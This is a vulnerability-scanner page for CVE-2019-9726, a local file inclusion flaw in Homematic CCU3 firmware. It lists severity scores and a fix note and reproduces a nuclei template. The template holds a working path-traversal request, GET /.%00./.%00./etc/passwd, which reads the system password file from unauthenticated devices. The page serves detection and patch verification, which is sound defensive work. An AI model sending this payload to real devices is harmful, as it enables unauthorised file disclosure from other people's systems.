Homematic CCU3 - Local File Inclusion

highseverity

7.5CVSS score

15.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

eQ-3 AG Homematic CCU3 3.43.15 and earlier allows remote attackers to read arbitrary files of the device's filesystem, aka local file inclusion. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.

Impact

An attacker can exploit this vulnerability to read sensitive files on the system.

Fix

Apply the latest security patches or updates provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/.%00./.%00./etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-9726 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-9726

info:
  name: Homematic CCU3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: eQ-3 AG Homematic CCU3 3.43.15 and earlier allows remote attackers to read arbitrary files of the device's filesystem, aka local file inclusion. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor.
  reference:
    - https://atomic111.github.io/article/homematic-ccu3-fileread
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9726
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9726
    cwe-id: CWE-22
    epss-score: 0.15921
    epss-percentile: 0.9692
    cpe: cpe:2.3:o:eq-3:ccu3_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eq-3
    product: ccu3_firmware
  tags: cve2019,cve,homematic,lfi,eq-3,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.%00./.%00./etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "bin:.*:0:0:"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from